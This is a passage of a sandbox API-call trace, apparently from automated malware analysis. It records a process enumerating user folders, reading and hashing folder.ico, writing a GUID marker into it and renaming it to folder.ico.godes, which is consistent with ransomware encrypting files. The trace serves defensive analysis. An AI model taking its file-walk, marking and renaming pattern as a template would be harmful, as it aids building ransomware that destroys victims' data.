ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0114.461] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 0 [0114.461] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0114.462] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0114.462] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0114.462] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0114.462] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0114.462] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0114.462] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.462] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.462] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.462] PathFindFileNameW (pszPath="") returned="" [0114.462] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0114.463] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.463] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0114.463] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0 [0114.463] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0114.463] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0114.463] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0114.463] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\") returned="_private\\" [0114.464] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\") returned="My Shapes\\" [0114.464] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0114.464] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.464] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.464] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.464] PathFindFileNameW (pszPath="") returned="" [0114.464] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0114.465] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.465] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0114.465] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico") returned=".ico" [0114.465] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.465] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=29926) returned 1 [0114.466] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.467] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x74c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.467] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.469] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.469] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x74e6, lpOverlapped=0x0) returned 1 [0114.469] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.469] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.469] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.469] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741488) returned 1 [0114.470] CryptCreateHash (in: hProv=0x741488, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.470] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.470] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.470] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.470] GetLastError () returned 0x0 [0114.470] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.470] CryptReleaseContext (hProv=0x741488, dwFlags=0x0) returned 1 [0114.471] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x74e6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.471] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.471] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.471] CloseHandle (hObject=0x624) returned 1 [0114.472] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\folder.ico"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\folder.ico.godes")) returned 1 [0114.472] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.472] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.473] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0114.473] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 0 [0114.473] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0114.473] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0114.474] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740e28 | out: hHeap=0x660000) returned 1 [0114.474] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0114.474] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.474] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0114.474] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.474] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.474] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.474] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.474] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.474] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.474] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.474] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.474] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.474] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.474] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.474] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.474] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.474] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.474] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.474] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.474] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.474] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.474] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.474] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.474] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.474] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.474] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.474] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.474] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.474] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.474] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0114.474] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.474] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.475] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.475] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.475] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.475] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.475] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.475] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.475] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.475] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.475] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.475] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.475] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.475] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.475] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.475] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.475] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.475] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.475] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.475] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.475] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.475] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.475] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.475] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.475] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.475] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.475] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.475] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.475] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.475] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.475] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.475] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.475] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.475] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.475] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.476] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.476] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.476] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.476] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.476] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.476] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.476] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.476] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.476] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.476] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.476] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.476] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.476] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.476] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.476] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.476] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.476] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.476] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.476] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.476] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.476] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.476] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.476] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.476] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.476] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.476] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.476] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.476] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.476] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.476] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.476] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.476] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.476] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.477] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.477] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.477] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.477] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.477] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.477] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.477] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.477] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0114.477] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.477] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.477] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.477] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.477] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.477] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.477] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.477] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.477] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.477] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.477] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.477] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.477] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.477] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.477] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.477] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.477] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.477] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.477] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.477] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.477] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.477] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.477] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.477] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.477] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.477] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.478] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.478] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.478] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.478] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.478] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 